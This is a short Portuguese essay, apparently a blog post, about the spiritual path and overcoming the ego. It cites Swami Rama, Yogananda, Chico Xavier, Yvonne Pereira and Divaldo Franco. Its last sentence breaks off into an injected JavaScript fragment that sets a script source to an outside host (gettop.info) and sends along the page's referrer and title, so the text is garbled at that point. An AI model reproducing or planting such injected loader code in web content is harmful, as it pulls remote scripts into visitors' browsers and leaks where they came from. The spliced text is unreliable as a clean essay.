Caminho espiritual

“O caminho espiritual suporta tudo, menos o ego (conjunto de ilusões que dão ao iniciante um valor que não tem)”, ensinou Swami Rama, iniciado da Índia, e autor do excelente livro “Vivendo com os Monges do Himalaia”. Juntamente com “Autobiografia de Um Yogue”, de Yogananda; “Iniciados e Profanos”, de Huberto Rhoden; e “Antes que Você Morra, e a Divina Melodia”, de Osho, formam um quinteto de livros indispensáveis a qualquer buscador.

O caminho espiritual é ensinado em muitas tradições. Somente pessoas potencialmente capazes devem ser aceitas. Para se descartar um candidato que apresenta apenas interesses mundanos e imediatistas, criam-se barreiras ou provas para que ele mesmo desanime e desista. Na caminhada, mesmo candidatos capazes podem fracassar ou desistir, encantando-se com atalhos, pseudovalores espirituais ou valores mundanos.

Chico Xavier, um iniciado vencedor, declarou: “Eu fiz todos os meus deveres de casa. Vejo muito mais beleza numa folha que numa poesia de Shakespeare. Escreva aí que sou zero” (ego vencido).

Ivone Pereira, autora do clássico “Memórias de Um Suicida”, mesmo pobre e de poucas letras, compensou a falta de estudos regulares dedicando-se à leitura de clássicos da literatura brasileira e mundial, vencendo todas as provas que se apresentaram, desde a oferta por dinheiro e fama até a tentação sexual.

Finalmente, Divaldo Franco, iniciado ainda vivo, aos 88 anos (2017), tem vencido todas as provas a que é submetido, mostrando uma postura universalista como se espera de um iniciado que deve pensar globalmente, mas agir localmente.

Com o apóstolo Paulo, aprendemos: “Eu venci o bom combate (luta da luz contra as ilusões do ego); guardei a fé.  Se o iniciado não for universalista, humilde, generoso e acolhedor, não é absolutamente um iniciado.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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